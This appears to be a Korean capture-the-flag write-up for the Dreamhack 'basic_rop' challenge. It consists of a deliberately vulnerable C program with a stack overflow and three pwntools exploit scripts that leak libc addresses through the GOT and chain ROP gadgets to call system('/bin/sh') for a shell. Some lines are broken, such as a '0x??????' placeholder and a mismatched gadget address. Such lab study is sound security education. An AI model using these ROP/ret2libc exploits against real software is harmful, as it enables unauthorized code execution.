[dreamhack] basic_rop

 1#include <stdio.h>
 2#include <stdlib.h>
 3#include <signal.h>
 4#include <unistd.h>
 5
 6void alarm_handler() {
 7    puts("TIME OUT");
 8    exit(-1);
 9}
10
11void initialize() {
12    setvbuf(stdin, NULL, _IONBF, 0);
13    setvbuf(stdout, NULL, _IONBF, 0);
14
15    signal(SIGALRM, alarm_handler);
16    alarm(30);
17}
18
19int main(int argc, char *argv[]) {
20    char buf[0x40] = {};
21
22    initialize();
23
24    read(0, buf, 0x400);
25    write(1, buf, sizeof(buf));
26
27    return 0;
28}

 1read_got = ELF('./basic_rop_x64').got['read']
 2read_plt = ELF('./basic_rop_x64').plt['read']
 3write_plt = ELF('./basic_rop_x64').plt['write']
 4system_offset = ELF('/lib/x86_64-linux-gnu/libc.so.6').symbols['system']
 5read_offset = ELF('/lib/x86_64-linux-gnu/libc.so.6').symbols['read']
 6
 7pop_rdi = 0x400883            # 함수의 첫번째 인자
 8pop_rsi_pop_dummy = 0x400881  # pop rsi만 있으면 좋겠지만, 찾기 어렵다.
 9pop_rdx = 0x??????            # pop rdx는 찾기 어렵지만, 필요한 값 이상이기만 하면 돼서 굳이 직접 수정할 필요는 없다
10nop = 0x40005a9               # 일부 시스템에서는 일부 함수(system)를 호출할 때 rsp의 주소가 0x10단위로 정렬되어야 하기 때문에 
11                              # return만 수행하는 의미없는 함수가 필요하다. (ret 단일 명령 가젯)
12
13### 첫번째 공격
14payload = b'A'*0x40 + b'RBP.....'
15# write(1, readgot, ???)
16payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_pop_dummy) + p64(read_got) + b'dummycod' + p64(write_plt)
17# read(0, readgot, ???)   read의 got 영역을 system 함수의 주소를 알아온 뒤 덮어쓰기
18payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_pop_dummy) + p64(read_got) + b'dummycod' + p64(read_plt)
19# system("/bin/sh")
20payload += p64(pop_rdi) + p64(read_got+0x8) + p64(nop) + p64(read_plt)
21
22p.send(payload)
23p.recv(0x40)          # 원래의 write가 출력하는 buf 값 버리기
24read_addr = u64(p.recv(0x8))     # read의 실제 주소 가져오기. 이미 한번 호출했기 때문에 리졸버에 의해 got에 read의 메모리상 주소가 쓰여졌다.
25p.recv(0x1000)        # 나머지 출력 버리기
26
27### 두번째 공격
28# 첫번째 공격에서 출력한 주소를 사용. 이번 입력은 read의 got에 쓰게된다. 
29# 이어서 "/bin/sh" 문자열 입력. 첫번째 공격에서 system의 인자에 read_got+0x8의 의미를 이해하게 됐을 것이다. 
30payload = p64(read_addr - read_offset + system_offset) + b'/bin/sh'  
31p.send(payload)
32p.interactive()

 1write_got = ELF('./basic_rop_x64').got['write']
 2write_plt = ELF('./basic_rop_x64').plt['write']
 3read_plt = ELF('./basic_rop_x64').plt['read']
 4system_offset = ELF('/lib/x86_64-linux-gnu/libc.so.6').symbols['system']
 5write_offset = ELF('/lib/x86_64-linux-gnu/libc.so.6').symbols['write']
 6main_addr = ELF('./basic_rop_x64').symbols['main']
 7
 8bin_sh_offset = list(ELF('/lib/x86_64-linux-gnu/libc.so.6').search(b'/bin/sh'))[0]
 9
10pop_rdi = 0x400883
11pop_rsi_pop_dummy = 0x400881
12nop = 0x4005a9
13
14### 첫번째 공격. 간단하게 write의 주소를 알아오고 main으로 돌아온다. 
15payload = b'B'*0x40 + b'RBP.....'
16# write(1, write_got, ???) 
17payload += p64(pop_rdi) + p64(1) + p64(pop_rsi_pop_dummy) + p64(write_got) + b'dummycod' + p64(write_plt)
18
19# ret2main
20payload += p64(main_addr)
21
22p.send(payload)
23p.recv(0x40)
24
25write_addr = u64(p.recv(8))
26lib_base = write_addr - write_offset
27system_addr = lib_base + system_offset
28bin_sh_addr = lib_base + bin_sh_offset
29
30# 두번째 공격. 다시 스택을 공격해서 리턴주소를 쌓아놓고 ROP 형식으로 공격한다. 
31payload = p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
32
33p.send(b'B'*0x40 + b'RBP.....' + payload)
34p.recv(0x40)
35
36p.interactive()

 1# write가 호출된 후 write의 리턴 코드에서 main으로 돌아오기 위해 추가해야 한다. 
 2payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
 3
 4p.send(b'A' * 0x48 + payload)
 5print(p.recv(0x40))
 6write_func = u32(p.recv(0x4))
 7print(hex(write_func))
 8
 9# 메인으로 돌아와서 다시 페이로드를 작성한다. 
10libc_base = write_func - write_offset
11bin_sh_addr = libc_base + bin_sh_offset
12system_addr = libc_base + system_offset
13
14payload = p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
15p.send(b'A' * 0x48 + payload)
16
17p.interactive()